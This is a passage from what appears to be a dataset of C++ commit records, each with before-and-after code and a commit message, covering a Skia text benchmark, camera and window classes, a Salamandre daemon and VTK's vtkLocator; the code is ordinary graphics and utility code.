SkFontHost::CountTables(fontID);\n    SkAutoTArray<SkFontTableTag> storage(count);\n    SkFontTableTag* tags = storage.get();\n    SkFontHost::GetTableTags(fontID, tags);\n    for (int i = 0; i < count; i++) {\n        uint32_t tag = tags[i];\n        uint8_t data[4];\n        size_t size = SkFontHost::GetTableSize(fontID, tag);\n        size_t bytes = SkFontHost::GetTableData(fontID, tag,\n                                                0, sizeof(data), data);\n        SkDebugf(\"   tag=%c%c%c%c size=%d bytes=%d %x %x %x %x\\n\",\n                 uint8_t(tag>>24), uint8_t(tag>>16), uint8_t(tag>>8), uint8_t(tag),\n                 size, bytes, data[0], data[1], data[2], data[3]);\n    }\n    \n    SkSfntTable_head head;\n    if (SkSfntUtils::ReadTable_head(fontID, &head)) {\n        SkDebugf(\"--- head: version=%x magic=%x upem=%d style=%x\\n\", head.fVersion,\n                 head.fMagicNumber, head.fUnitsPerEm, head.fMacStyle);\n    } else {\n        SkDebugf(\"------- head wasn't read\\n\");\n    }\n\n    SkSfntTable_maxp maxp;\n    if (SkSfntUtils::ReadTable_maxp(fontID, &maxp)) {\n        SkDebugf(\"--- maxp: version=%x glyphs=%d points=%d ctrs=%d\\n\", maxp.fVersion,\n                 maxp.fNumGlyphs, maxp.fMaxPoints, maxp.fMaxContours);\n    } else {\n        SkDebugf(\"------- maxp wasn't read\\n\");\n    }\n}\n\nstatic void test_tables() {\n    static bool gOnce;\n    if (gOnce) {\n        return;\n    }\n    gOnce = true;\n    \n    static const char* gNames[] = {\n        \"Arial\", \"Times\", \"Courier\"\n    };\n    \n    for (size_t i = 0; i < SK_ARRAY_COUNT(gNames); i++) {\n        SkTypeface* tf = SkTypeface::CreateFromName(gNames[i], SkTypeface::kNormal);\n        if (tf) {\n            SkFontID fontID = tf->uniqueID();\n            dump_font(gNames[i], fontID);\n            tf->unref();\n        }\n    }\n}\n\n\/*  Some considerations for performance:\n        short -vs- long strings (measuring overhead)\n        tiny -vs- large pointsize (measure blit -vs- overhead)\n        1 -vs- many point sizes (measure cache lookup)\n        normal -vs- subpixel -vs- lineartext (minor)\n        force purge after each draw to measure scaler\n        textencoding?\n        text -vs- postext - pathtext\n *\/\nclass TextBench : public SkBenchmark {\n    SkPaint     fPaint;\n    int         fCount;\n    SkPoint*    fPos;\n    SkString    fText;\n    SkString    fName;\n    enum { N = 300 };\npublic:\n    TextBench(const char text[], int ps, bool linearText, bool posText) {\n        if (false) {\n            test_tables();\n        }\n        \n        fText.set(text);\n\n        fPaint.setAntiAlias(true);\n        fPaint.setTextSize(SkIntToScalar(ps));\n        fPaint.setLinearText(linearText);\n\n        if (posText) {\n            SkAutoTArray<SkScalar> storage(fText.size());\n            SkScalar* widths = storage.get();\n            fCount = fPaint.getTextWidths(fText.c_str(), fText.size(), widths);\n            fPos = new SkPoint[fCount];\n            SkScalar x = 0;\n            for (int i = 0; i < fCount; i++) {\n                fPos[i].set(x, 0);\n                x += widths[i];\n            }\n        } else {\n            fCount = 0;\n            fPos = NULL;\n        }\n    }\n    \n    virtual ~TextBench() {\n        delete[] fPos;\n    }\n\nprotected:\n    virtual const char* onGetName() {\n        fName.printf(\"text_%g\", SkScalarToFloat(fPaint.getTextSize()));\n        if (fPaint.isLinearText()) {\n            fName.append(\"_linear\");\n        }\n        if (fPos) {\n            fName.append(\"_pos\");\n        }\n        return fName.c_str();\n    }\n\n    virtual void onDraw(SkCanvas* canvas) {\n        const SkIPoint dim = this->getSize();\n        SkRandom rand;\n\n        SkPaint paint(fPaint);\n        this->setupPaint(&paint);\n\n        const SkScalar x0 = SkIntToScalar(-10);\n        const SkScalar y0 = SkIntToScalar(-10);\n\n        for (int i = 0; i < N; i++) {\n            SkScalar x = x0 + rand.nextUScalar1() * dim.fX;\n            SkScalar y = y0 + rand.nextUScalar1() * dim.fY;\n            if (fPos) {\n                canvas->save(SkCanvas::kMatrix_SaveFlag);\n                canvas->translate(x, y);\n                canvas->drawPosText(fText.c_str(), fText.size(), fPos, paint);\n                canvas->restore();\n            } else {\n                canvas->drawText(fText.c_str(), fText.size(), x, y, paint);\n            }\n        }\n    }\n\nprivate:\n    typedef SkBenchmark INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define STR     \"Hamburgefons\"\n#define SMALL   9\n#define BIG     48\n\nstatic SkBenchmark* Fact0(void*) { return new TextBench(STR, SMALL, false, false); }\nstatic SkBenchmark* Fact1(void*) { return new TextBench(STR, SMALL, false, true); }\nstatic SkBenchmark* Fact2(void*) { return new TextBench(STR, SMALL, true, false); }\nstatic SkBenchmark* Fact3(void*) { return new TextBench(STR, SMALL, true, true); }\nstatic SkBenchmark* Fact4(void*) { return new TextBench(STR, BIG, false, false); }\nstatic SkBenchmark* Fact5(void*) { return new TextBench(STR, BIG, false, true); }\nstatic SkBenchmark* Fact6(void*) { return new TextBench(STR, BIG, true, false); }\nstatic SkBenchmark* Fact7(void*) { return new TextBench(STR, BIG, true, true); }\n\nstatic BenchRegistry gReg0(Fact0);\nstatic BenchRegistry gReg1(Fact1);\nstatic BenchRegistry gReg2(Fact2);\nstatic BenchRegistry gReg3(Fact3);\nstatic BenchRegistry gReg4(Fact4);\nstatic BenchRegistry gReg5(Fact5);\nstatic BenchRegistry gReg6(Fact6);\nstatic BenchRegistry gReg7(Fact7);\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Page testing loads options to the LB<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* \n * File:   Camera.hpp\n * Author: Benedikt Vogler\n *\n * Created on 9. August 2014, 14:49\n *\/\n\n#ifndef CAMERA_HPP\n#define\tCAMERA_HPP\n\n#include <string>\n#include <glm\/glm.hpp>\n\nclass Camera {\npublic:\n    Camera();\n    Camera(std::string const& name, int const fovX);\n    int GetFovX() const {\n        return fovX;\n    }\n\n    glm::mat4 GetTransformation() const {\n        return transformation;\n    }\n    \n    void translate(glm::vec3 const& transl);\n    void rotate(float angle, glm::vec3 const& axis);\n\nprivate:\n    std::string name;\n    int fovX;\n    glm::mat4 transformation;\n    glm::mat4 transformation_inv;\n};\n\n#endif\t\/* CAMERA_HPP *\/\n\n<commit_msg>added getter<commit_after>\/* \n * File:   Camera.hpp\n * Author: Benedikt Vogler\n *\n * Created on 9. August 2014, 14:49\n *\/\n\n#ifndef CAMERA_HPP\n#define\tCAMERA_HPP\n\n#include <string>\n#include <glm\/glm.hpp>\n\nclass Camera {\npublic:\n    Camera();\n    Camera(std::string const& name, int const fovX);\n    \n    int GetFovX() const {\n        return fovX;\n    }\n\n    glm::mat4 GetTransformation() const {\n        return transformation;\n    }\n    \n    glm::mat4 GetTransformation_inv() const {\n        return transformation_inv;\n    }\n\n    \n    void translate(glm::vec3 const& transl);\n    void rotate(float angle, glm::vec3 const& axis);\n\nprivate:\n    std::string name;\n    int fovX;\n    glm::mat4 transformation;\n    glm::mat4 transformation_inv;\n};\n\n#endif\t\/* CAMERA_HPP *\/\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>coverity#1311336 Uninitialized scalar field<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef BUW_CAMERA_HPP\n#define BUW_CAMERA_HPP \n#include <string>\nclass Camera\n{\npublic:\n\tCamera(std::string name, float fov_x);\n\tCamera();\n\t~Camera();\n\n\tCamera& operator= (Camera const& rhs);\n\n\t\/\/getter\n\tstd::string get_name() const;\n\tfloat get_ancle() const;\n\nprivate:\n\tstd::string name_;\n\tfloat fov_x_;\n};\n\n\n\n\n\n#endif<commit_msg>Update camera.hpp<commit_after>#ifndef BUW_CAMERA_HPP\n#define BUW_CAMERA_HPP \n#include <string>\nclass Camera\n{\npublic:\n\tCamera(std::string name, float fov_x);\n\tCamera();\n\t~Camera();\n\n\tCamera& operator= (Camera const& rhs);\n\n\t\/\/getter\n\tstd::string get_name() const;\n\tfloat get_angle() const;\n\nprivate:\n\tstd::string name_;\n\tfloat fov_x_;\n};\n\n\n\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -----------------------------------------------------------------------------\n\/\/ Copyright  : (C) 2014 Andreas-C. Bernstein\n\/\/ License    : MIT (see the file LICENSE)\n\/\/ Maintainer : Andreas-C. Bernstein <andreas.bernstein@uni-weimar.de>\n\/\/ Stability  : experimental\n\/\/\n\/\/ Window\n\/\/ -----------------------------------------------------------------------------\n\n#include \"window.hpp\"\n#include <cstring>\n#include <iostream>\n\nWindow::Window(glm::ivec2 const& windowsize)\n  : m_window(nullptr)\n  , m_size(windowsize)\n  , m_title(\"Fensterchen\")\n  , m_mousePosition()\n  , m_mouseButtonFlags(0)\n  , m_keypressed()\n{\n  std::fill(std::begin(m_keypressed), std::end(m_keypressed), 0);\n  glfwInit();\n  glfwWindowHint(GLFW_CLIENT_API, GLFW_OPENGL_API);\n  glfwWindowHint(GLFW_RESIZABLE, 0);\n  m_window = glfwCreateWindow(windowsize.x, windowsize.y, m_title.c_str(), nullptr, nullptr);\n\n  if (m_window) {\n    glfwSetWindowUserPointer(m_window, this);\n    assert(m_window != nullptr);\n\n    glfwSetMouseButtonCallback(m_window, Window::mouseButtonCallback);\n    glfwSetCursorPosCallback(m_window, Window::cursorPositionCallback);\n    glfwSetKeyCallback(m_window, Window::keyCallback);\n    glfwMakeContextCurrent(m_window);\n\n    \/\/glewExperimental = GL_TRUE;\n    glewInit();\n    \/\/glGetError();\n\n    glEnable(GL_ALPHA_TEST);\n    glAlphaFunc(GL_NOTEQUAL, 0);\n    glEnable(GL_BLEND);\n    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\n    glEnable(GL_POINT_SMOOTH);\n    glHint(GL_POINT_SMOOTH_HINT, GL_NICEST);\n    glPointSize(5.0f);\n    glEnable(GL_POINT_SMOOTH);\n\n    glLineWidth(2.0f);\n    glEnable(GL_LINE_SMOOTH);\n    glClearColor(1.0f,1.0f,1.0f,1.0f);\n  }\n}\n\nWindow::~Window()\n{\n  if (m_window) {\n    glfwDestroyWindow(m_window);\n    m_window = nullptr;\n  }\n  glfwTerminate();\n}\n\nvoid Window::cursorPositionCallback(GLFWwindow* win, double x, double y)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n\n  w->m_mousePosition = glm::ivec2(x, y);\n}\n\nvoid Window::mouseButtonCallback(GLFWwindow* win, int button, int act, int mods)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n\n  if (GLFW_PRESS == act) {\n      switch (button) {\n        case GLFW_MOUSE_BUTTON_LEFT:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_LEFT;\n          break;\n        case GLFW_MOUSE_BUTTON_MIDDLE:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_MIDDLE;\n          break;\n        case GLFW_MOUSE_BUTTON_RIGHT:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_RIGHT;\n          break;\n        default:\n          break;\n      }\n  } else if (act == GLFW_RELEASE) {\n    switch (button) {\n      case GLFW_MOUSE_BUTTON_LEFT:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_LEFT;\n        break;\n      case GLFW_MOUSE_BUTTON_MIDDLE:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_MIDDLE;\n        break;\n      case GLFW_MOUSE_BUTTON_RIGHT:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_RIGHT;\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nvoid Window::keyCallback(GLFWwindow* win, int key, int scancode, int act, int mods)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n  w->m_keypressed[key] = act == KEY_PRESS;\n}\n\nbool Window::shouldClose() const\n{\n  return glfwWindowShouldClose(m_window);\n}\n\nglm::vec2 Window::mousePosition() const\n{\n  return glm::vec2(m_mousePosition.x\/float(m_size.x)\n         , 1.0f - m_mousePosition.y\/float(m_size.y));\n}\n\nvoid Window::stop()\n{\n  glfwSetWindowShouldClose(m_window, GL_TRUE);\n}\n\nvoid Window::update()\n{\n  glfwSwapBuffers(m_window);\n  glfwPollEvents();\n\n  \/\/ prepare next frame\n  \/\/glViewport(0, 0, m_size.x, m_size.y);\n  int width, height;\n  glfwGetFramebufferSize(m_window, &width, &height);\n  glViewport(0, 0, width, height);\n  glClear(GL_COLOR_BUFFER_BIT);\n  glMatrixMode(GL_PROJECTION);\n  glLoadIdentity();\n  glOrtho(0.0,1.0,0.0,1.0,0.01,100.0);\n  glMatrixMode(GL_MODELVIEW);\n  glLoadIdentity();\n  glTranslatef(0.0, 0.0, -100.0);\n}\n\nglm::ivec2 Window::windowSize() const\n{\n  glm::ivec2 size(0);\n  glfwGetFramebufferSize(m_window, &size.x, &size.y);\n  return size;\n}\n\nvoid Window::drawLine(glm::vec2 const& start\n                    , glm::vec2 const& end\n                    , Color const& col) const\n{\n  glColor3f(GLfloat(col.r)\/255.0f, GLfloat(col.g)\/255.0f, GLfloat(col.b)\/255.0f);\n  glBegin(GL_LINES);\n  {\n    glVertex2f(GLfloat(start.x), GLfloat(start.y));\n    glVertex2f(GLfloat(end.x), GLfloat(end.y));\n  }\n  glEnd();\n}\n\nvoid Window::drawLine(float startX, float startY,\n                float endX, float endY,\n                float r, float g, float b\n                ) const\n{\n  drawLine(glm::vec2(startX, startY), glm::vec2(endX, endY), Color(r,g,b));\n}\n\nvoid Window::drawPoint(glm::vec2 const& p, Color const& col) const\n{\n  glColor3f(GLfloat(col.r)\/255.0f, GLfloat(col.g)\/255.0f, GLfloat(col.b)\/255.0f);\n  glBegin(GL_POINTS);\n    glVertex2f(GLfloat(p.x), GLfloat(p.y));\n  glEnd();\n}\n\n\nvoid Window::drawPoint(float x, float y, float r, float g, float b) const\n{\n  drawPoint(glm::vec2(x,y), Color(r,g,b));\n}\n\nfloat Window::getTime() const\n{\n  return float(glfwGetTime());\n}\n<commit_msg>called the \"fensterchen\" \"raytracer\"<commit_after>\/\/ -----------------------------------------------------------------------------\n\/\/ Copyright  : (C) 2014 Andreas-C. Bernstein\n\/\/ License    : MIT (see the file LICENSE)\n\/\/ Maintainer : Andreas-C. Bernstein <andreas.bernstein@uni-weimar.de>\n\/\/ Stability  : experimental\n\/\/\n\/\/ Window\n\/\/ -----------------------------------------------------------------------------\n\n#include \"window.hpp\"\n#include <cstring>\n#include <iostream>\n\nWindow::Window(glm::ivec2 const& windowsize)\n  : m_window(nullptr)\n  , m_size(windowsize)\n  , m_title(\"Raytracer\")\n  , m_mousePosition()\n  , m_mouseButtonFlags(0)\n  , m_keypressed()\n{\n  std::fill(std::begin(m_keypressed), std::end(m_keypressed), 0);\n  glfwInit();\n  glfwWindowHint(GLFW_CLIENT_API, GLFW_OPENGL_API);\n  glfwWindowHint(GLFW_RESIZABLE, 0);\n  m_window = glfwCreateWindow(windowsize.x, windowsize.y, m_title.c_str(), nullptr, nullptr);\n\n  if (m_window) {\n    glfwSetWindowUserPointer(m_window, this);\n    assert(m_window != nullptr);\n\n    glfwSetMouseButtonCallback(m_window, Window::mouseButtonCallback);\n    glfwSetCursorPosCallback(m_window, Window::cursorPositionCallback);\n    glfwSetKeyCallback(m_window, Window::keyCallback);\n    glfwMakeContextCurrent(m_window);\n\n    \/\/glewExperimental = GL_TRUE;\n    glewInit();\n    \/\/glGetError();\n\n    glEnable(GL_ALPHA_TEST);\n    glAlphaFunc(GL_NOTEQUAL, 0);\n    glEnable(GL_BLEND);\n    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n\n    glEnable(GL_POINT_SMOOTH);\n    glHint(GL_POINT_SMOOTH_HINT, GL_NICEST);\n    glPointSize(5.0f);\n    glEnable(GL_POINT_SMOOTH);\n\n    glLineWidth(2.0f);\n    glEnable(GL_LINE_SMOOTH);\n    glClearColor(1.0f,1.0f,1.0f,1.0f);\n  }\n}\n\nWindow::~Window()\n{\n  if (m_window) {\n    glfwDestroyWindow(m_window);\n    m_window = nullptr;\n  }\n  glfwTerminate();\n}\n\nvoid Window::cursorPositionCallback(GLFWwindow* win, double x, double y)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n\n  w->m_mousePosition = glm::ivec2(x, y);\n}\n\nvoid Window::mouseButtonCallback(GLFWwindow* win, int button, int act, int mods)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n\n  if (GLFW_PRESS == act) {\n      switch (button) {\n        case GLFW_MOUSE_BUTTON_LEFT:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_LEFT;\n          break;\n        case GLFW_MOUSE_BUTTON_MIDDLE:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_MIDDLE;\n          break;\n        case GLFW_MOUSE_BUTTON_RIGHT:\n          w->m_mouseButtonFlags |= Window::MOUSE_BUTTON_RIGHT;\n          break;\n        default:\n          break;\n      }\n  } else if (act == GLFW_RELEASE) {\n    switch (button) {\n      case GLFW_MOUSE_BUTTON_LEFT:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_LEFT;\n        break;\n      case GLFW_MOUSE_BUTTON_MIDDLE:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_MIDDLE;\n        break;\n      case GLFW_MOUSE_BUTTON_RIGHT:\n        w->m_mouseButtonFlags &= ~Window::MOUSE_BUTTON_RIGHT;\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nvoid Window::keyCallback(GLFWwindow* win, int key, int scancode, int act, int mods)\n{\n  Window* w = reinterpret_cast<Window*>(glfwGetWindowUserPointer(win));\n  assert(w);\n  w->m_keypressed[key] = act == KEY_PRESS;\n}\n\nbool Window::shouldClose() const\n{\n  return glfwWindowShouldClose(m_window);\n}\n\nglm::vec2 Window::mousePosition() const\n{\n  return glm::vec2(m_mousePosition.x\/float(m_size.x)\n         , 1.0f - m_mousePosition.y\/float(m_size.y));\n}\n\nvoid Window::stop()\n{\n  glfwSetWindowShouldClose(m_window, GL_TRUE);\n}\n\nvoid Window::update()\n{\n  glfwSwapBuffers(m_window);\n  glfwPollEvents();\n\n  \/\/ prepare next frame\n  \/\/glViewport(0, 0, m_size.x, m_size.y);\n  int width, height;\n  glfwGetFramebufferSize(m_window, &width, &height);\n  glViewport(0, 0, width, height);\n  glClear(GL_COLOR_BUFFER_BIT);\n  glMatrixMode(GL_PROJECTION);\n  glLoadIdentity();\n  glOrtho(0.0,1.0,0.0,1.0,0.01,100.0);\n  glMatrixMode(GL_MODELVIEW);\n  glLoadIdentity();\n  glTranslatef(0.0, 0.0, -100.0);\n}\n\nglm::ivec2 Window::windowSize() const\n{\n  glm::ivec2 size(0);\n  glfwGetFramebufferSize(m_window, &size.x, &size.y);\n  return size;\n}\n\nvoid Window::drawLine(glm::vec2 const& start\n                    , glm::vec2 const& end\n                    , Color const& col) const\n{\n  glColor3f(GLfloat(col.r)\/255.0f, GLfloat(col.g)\/255.0f, GLfloat(col.b)\/255.0f);\n  glBegin(GL_LINES);\n  {\n    glVertex2f(GLfloat(start.x), GLfloat(start.y));\n    glVertex2f(GLfloat(end.x), GLfloat(end.y));\n  }\n  glEnd();\n}\n\nvoid Window::drawLine(float startX, float startY,\n                float endX, float endY,\n                float r, float g, float b\n                ) const\n{\n  drawLine(glm::vec2(startX, startY), glm::vec2(endX, endY), Color(r,g,b));\n}\n\nvoid Window::drawPoint(glm::vec2 const& p, Color const& col) const\n{\n  glColor3f(GLfloat(col.r)\/255.0f, GLfloat(col.g)\/255.0f, GLfloat(col.b)\/255.0f);\n  glBegin(GL_POINTS);\n    glVertex2f(GLfloat(p.x), GLfloat(p.y));\n  glEnd();\n}\n\n\nvoid Window::drawPoint(float x, float y, float r, float g, float b) const\n{\n  drawPoint(glm::vec2(x,y), Color(r,g,b));\n}\n\nfloat Window::getTime() const\n{\n  return float(glfwGetTime());\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <Salamandre-daemon\/Daemon.hpp>\n#include <Salamandre-daemon\/ServerBroadcast.hpp>\n\n#include <utils\/log.hpp>\n\n#include <iostream>\n#include <csignal>\n#include <tclap\/CmdLine.h>\n\nnamespace salamandre\n{\n    Daemon* daemon = nullptr;\n}\n\nvoid stop_server_handler(int sig)\n{\n    utils::log::info(\"Stop\",\"Recv signal\",sig,\"Stoping server.\\n Please wait.\");\n    if(salamandre::daemon)\n        salamandre::daemon->stop();\n}\n\n\nint main(int argc,char* argv[])\n{\n    int gui_port = 3842;\n    int server_port = 3843;\n    int broadcast_port = 5001;\n    bool local_only = false;\n    try {\n    TCLAP::CmdLine cmd(\"Salamandre Daemon\", ' ', DAEMON_VERSION);\n    TCLAP::ValueArg<int> gui_port_arg(\"g\", \"gui-port\", \"Port for the GUI\", false, gui_port, \"int\", cmd);\n    TCLAP::ValueArg<int> server_port_arg(\"s\", \"server-port\", \"Port for the server to listen\", false, server_port, \"int\", cmd);\n    TCLAP::SwitchArg local_switch(\"l\", \"local\", \"Whether daemon sould run stricly locally\", cmd, false);\n\n    cmd.parse(argc, argv);\n\n    local_only = local_switch.getValue();\n    gui_port = gui_port_arg.getValue();\n    server_port = server_port_arg.getValue();\n\n    } catch(TCLAP::ArgException &e) {\n        std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n        exit(1);\n    }\n\n    std::cout<<\"Daemon start on:\"\n        <<\"\\n\\tgui listen on port : \"<<gui_port\n        <<\"\\n\\tfile server listen on port : \"<<server_port\n        <<\"\\n\\tbrodcast server listen on port: \"<<broadcast_port\n        <<\"\\n\\tlocal only : \"<<local_only\n        <<\"\\nPress ^C to exit\"\n        <<std::endl<<std::endl;\n    std::signal(SIGINT, stop_server_handler);\n\n    try\n    {\n        salamandre::Daemon::init();\n\n        salamandre::daemon = new salamandre::Daemon(gui_port,server_port,broadcast_port,local_only);\n        salamandre::daemon->start();\n        salamandre::daemon->wait();\n\n        delete salamandre::daemon;\n        salamandre::daemon = nullptr;\n\n        salamandre::Daemon::close();\n\n    }\n    catch(ntw::SocketExeption& e)\n    {\n        utils::log::error(\"Socket error\",e.what());\n    }\n\n    utils::log::info(\"End\",\"Daemon is now close, Good bye\");\n\n    return 0;\n}\n<commit_msg>modif v2<commit_after>#include <Salamandre-daemon\/Daemon.hpp>\n#include <Salamandre-daemon\/ServerBroadcast.hpp>\n#include <Salamandre-daemon\/define.hpp>\n\n#include <utils\/log.hpp>\n\n#include <iostream>\n#include <csignal>\n#include <tclap\/CmdLine.h>\n\nnamespace salamandre\n{\n    Daemon* daemon = nullptr;\n}\n\nvoid stop_server_handler(int sig)\n{\n    utils::log::info(\"Stop\",\"Recv signal\",sig,\"Stoping server.\\n Please wait.\");\n    if(salamandre::daemon)\n        salamandre::daemon->stop();\n}\n\n\nint main(int argc,char* argv[])\n{\n    int gui_port = 3842;\n    int server_port = 3843;\n    int broadcast_port = 5001;\n    bool local_only = false;\n    try {\n    TCLAP::CmdLine cmd(\"Salamandre Daemon\", ' ', DAEMON_VERSION);\n    TCLAP::ValueArg<int> gui_port_arg(\"g\", \"gui-port\", \"Port for the GUI\", false, gui_port, \"int\", cmd);\n    TCLAP::ValueArg<int> server_port_arg(\"s\", \"server-port\", \"Port for the server to listen\", false, server_port, \"int\", cmd);\n    TCLAP::SwitchArg local_switch(\"l\", \"local\", \"Whether daemon sould run stricly locally\", cmd, false);\n\n    cmd.parse(argc, argv);\n\n    local_only = local_switch.getValue();\n    gui_port = gui_port_arg.getValue();\n    server_port = server_port_arg.getValue();\n\n    } catch(TCLAP::ArgException &e) {\n        std::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n        exit(1);\n    }\n\n    std::cout<<\"Daemon start on:\"\n        <<\"\\n\\tgui listen on port : \"<<gui_port\n        <<\"\\n\\tfile server listen on port : \"<<server_port\n        <<\"\\n\\tbrodcast server listen on port: \"<<broadcast_port\n        <<\"\\n\\tlocal only : \"<<local_only\n        <<\"\\nPress ^C to exit\"\n        <<std::endl<<std::endl;\n    std::signal(SIGINT, stop_server_handler);\n\n    try\n    {\n        salamandre::Daemon::init();\n\n        salamandre::daemon = new salamandre::Daemon(gui_port,server_port,broadcast_port,local_only);\n        salamandre::daemon->start();\n        salamandre::daemon->wait();\n\n        delete salamandre::daemon;\n        salamandre::daemon = nullptr;\n\n        salamandre::Daemon::close();\n\n    }\n    catch(ntw::SocketExeption& e)\n    {\n        utils::log::error(\"Socket error\",e.what());\n    }\n\n    utils::log::info(\"End\",\"Daemon is now close, Good bye\");\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkLocator.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkLocator.h\"\n\n#include \"vtkDataSet.h\"\n#include \"vtkGarbageCollector.h\"\n\nvtkCxxRevisionMacro(vtkLocator, \"1.4\");\n\nvtkCxxSetObjectMacro(vtkLocator,DataSet,vtkDataSet);\n\n\/\/ Construct with automatic computation of divisions, averaging\n\/\/ 25 points per bucket.\nvtkLocator::vtkLocator()\n{\n  this->DataSet = NULL;\n  this->Tolerance = 0.001;\n  this->Automatic = 1;\n}\n\nvtkLocator::~vtkLocator()\n{\n  \/\/ commented out because of compiler problems in g++\n  \/\/  this->FreeSearchStructure(); \n  this->SetDataSet(NULL);\n}\n\nvoid vtkLocator::Initialize()\n{\n  \/\/ free up hash table\n  this->FreeSearchStructure();\n}\n\nvoid vtkLocator::Update()\n{\n  if (!this->DataSet)\n    {\n    vtkErrorMacro(<< \"Input not set!\");\n    return;\n    }\n  if ((this->MTime > this->BuildTime) ||\n      (this->DataSet->GetMTime() > this->BuildTime))\n    {\n    this->BuildLocator();\n    }\n}\n\nvoid vtkLocator::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  if ( this->DataSet )\n    {\n    os << indent << \"DataSet: \" << this->DataSet << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"DataSet: (none)\\n\";\n    }\n\n  os << indent << \"Automatic: \"  << (this->Automatic ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Tolerance: \"  << this->Tolerance << \"\\n\" ;\n  os << indent << \"Build Time: \" << this->BuildTime.GetMTime() << \"\\n\";\n  os << indent << \"MaxLevel: \"   << this->MaxLevel << \"\\n\" ;\n  os << indent << \"Level: \"      << this->Level << \"\\n\" ;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::Register(vtkObjectBase* o)\n{\n  this->RegisterInternal(o, 1);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::UnRegister(vtkObjectBase* o)\n{\n  this->UnRegisterInternal(o, 1);\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkLocator::ReportReferences(vtkGarbageCollector* collector)\n{\n  this->Superclass::ReportReferences(collector);\n  vtkGarbageCollectorReport(collector, this->DataSet, \"DataSet\");\n}\n<commit_msg>BUG: Set MaxLevel to a default value of 8 to avoid using uninitialized memory and took out outdated comment.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkLocator.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkLocator.h\"\n\n#include \"vtkDataSet.h\"\n#include \"vtkGarbageCollector.h\"\n\nvtkCxxRevisionMacro(vtkLocator, \"1.5\");\n\nvtkCxxSetObjectMacro(vtkLocator,DataSet,vtkDataSet);\n\nvtkLocator::vtkLocator()\n{\n  this->DataSet = NULL;\n  this->Tolerance = 0.001;\n  this->Automatic = 1;\n  this->MaxLevel = 8;\n}\n\nvtkLocator::~vtkLocator()\n{\n  \/\/ commented out because of compiler problems in g++\n  \/\/  this->FreeSearchStructure(); \n  this->SetDataSet(NULL);\n}\n\nvoid vtkLocator::Initialize()\n{\n  \/\/ free up hash table\n  this->FreeSearchStructure();\n}\n\nvoid vtkLocator::Update()\n{\n  if (!this->DataSet)\n    {\n    vtkErrorMacro(<< \"Input not set!\");\n    return;\n    }\n  if ((this->MTime > this->BuildTime) ||\n      (this->DataSet->GetMTime() > this->BuildTime))\n    {\n    this->BuildLocator();\n    }\n}\n\nvoid vtkLocator::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  if ( this->DataSet )\n    {\n    os << indent << \"DataSet: \" << this->DataSet << \"\\n\";\n    }\n  else\n    {\n    os << indent << \"DataSet: (none)\\n\";\n    }\n\n  os << indent << \"Automatic: \"  << (this->Automatic ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Tolerance: \"  << this->Tolerance << \"\\n\" ;\n  os << indent << \"Build Time: \" << this->BuildTime.GetMTime() << \"\\n\";\n  os << indent << \"MaxLevel: \"   << 